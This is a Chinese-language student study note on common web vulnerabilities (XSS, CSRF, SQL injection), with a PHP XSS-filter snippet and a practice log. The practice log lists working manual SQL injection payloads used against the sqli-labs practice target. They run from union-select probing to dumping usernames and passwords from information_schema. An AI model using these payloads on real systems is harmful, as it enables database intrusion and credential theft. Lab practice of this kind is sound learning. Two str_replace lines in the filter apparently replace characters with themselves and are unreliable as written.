这是我参与「第五届青训营」伴学笔记创作活动的第12天。
一、本堂课重点内容
本节课重点介绍了一些常见的web安全问题以及攻击的方式。
二、详细知识点介绍
著名漏洞
XSS
xss一般指跨站脚本攻击。 跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。
- 通常难以从UI.上 感知(暗地执行脚本)
- 窃取用户信息(cookie/token)
- 绘制UI (例如弹窗)
- 用户点击/填写表单, XSS攻击不像其他攻击,这种攻击在客户端进行,最基本的XSS工具就是防止一段javascript脚本在用户待提交的表单页面,将用户提交的数据和cookie偷取过来。 XSS工具比SQL注入更加难以防护,各大公司网站都被XSS攻击过,虽然这种攻击与php语言无关,但可以使用php来筛选用户数据达到保护用户数据的目的,这里主要使用的是对用户的数据进行过滤,一般过滤掉HTML标签,特别是a标签。下面是一个普通的过滤方法:
function transform_HTML($string, $length = null) {
// Helps prevent XSS attacks
// Remove dead space.
$string = trim($string);
// Prevent potential Unicode codec problems.
$string = utf8_decode($string);
// HTMLize HTML-specific characters.
$string = htmlentities($string, ENT_NOQUOTES);
$string = str_replace("#", "#", $string);
$string = str_replace("%", "%", $string);
$length = intval($length);
if ($length > 0) {
$string = substr($string, 0, $length);
}
return $string;
}
CSRF
CSRF一般指跨站请求伪造。 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
- 在用户不知情的前提下
- 利用用户权限(cookie)
- 构造指定HTTP请求,窃取或修改用户敏感信息
注入
Sql注入是一种常见的网络攻击方式,主要是针对程序编写的疏忽,通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,实现无账号登录、欺骗服务器执行非授权的查询、以及篡改数据库等操作。 sql注入是以数据库进行查询语句注入的方式来实现的,其注入危害大,并且高发,居于owaspTop10之一。
当我们提交用户名和密码后,网站会将我们提交的数据作为sql查询语句的参数部分拼接成完整的sql查询语句执行,正常的情况下不会出现任何问题,但若有人恶意在输入中提交数据库的关键字语法,则数据库会将本来的输入误以为是sql语法并执行,则会造成恶意的结果。
存在注入漏洞得满足两个关键性条件: 1、用户能够控制输入
2、原本执行的代码拼接用户输入的数据然后执行 *注入的基本流程:
判断是否存在SQL注入→判断字段数→判断显错位→判断库名→判断表名→判断列(字段)名→寻找详细信息。
三、实践练习例子
对于sql注入知识,我搭建了一个靶场sqli-labs并尝试对其进行手注,经过尝试,第一关中以下这些注入都成功爆出了数据。
?id=1 数字id注入
?id=1 'and 1=2 -- qwe 等于号后1改为2界面变化说明闭口为’且代码被当成参数执行
?id=1 'order by 4 -- qwe 1-2-3-4,无法回显,说明字段数3位
?id=100 'union select 1,2,3 -- qwe 联合查询判断显错位,此时因为id=1的结果在前所以未显示联合查询,可将id改为较大值,此时的2与3即代表显错位
?id=100 'union select 1,database(),3 -- qwe 爆库名
?id=100 'union select 1,table_name,3 from information_schema.tables where table_schema='security' -- qwe 爆表名,其中information_schema为自带表,在其中找到库名满足security的
?id=100 'union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 2,1-- qwe 爆第二表表名
?id=100 'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' -- qwe 爆全组表名 group_concat返回带有来自一个组的连接的非NULL值
?id=100 'union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails' -- qwe 爆列名 column_name位查列名的字段
?id=100 'union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1-- qwe 爆第二列列名,0,1代表第一列;1,1代表第二列
?id=100' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'-- qwe 爆某表的全部字段名
?id=100 'union select 1,id,1 from emails -- qwe 查明确数据
?id=100' union select 1,2,group_concat(1234,username,1234,password) from users-- qwe 爆全部数据
四、引用参考
菜鸟教程、csdn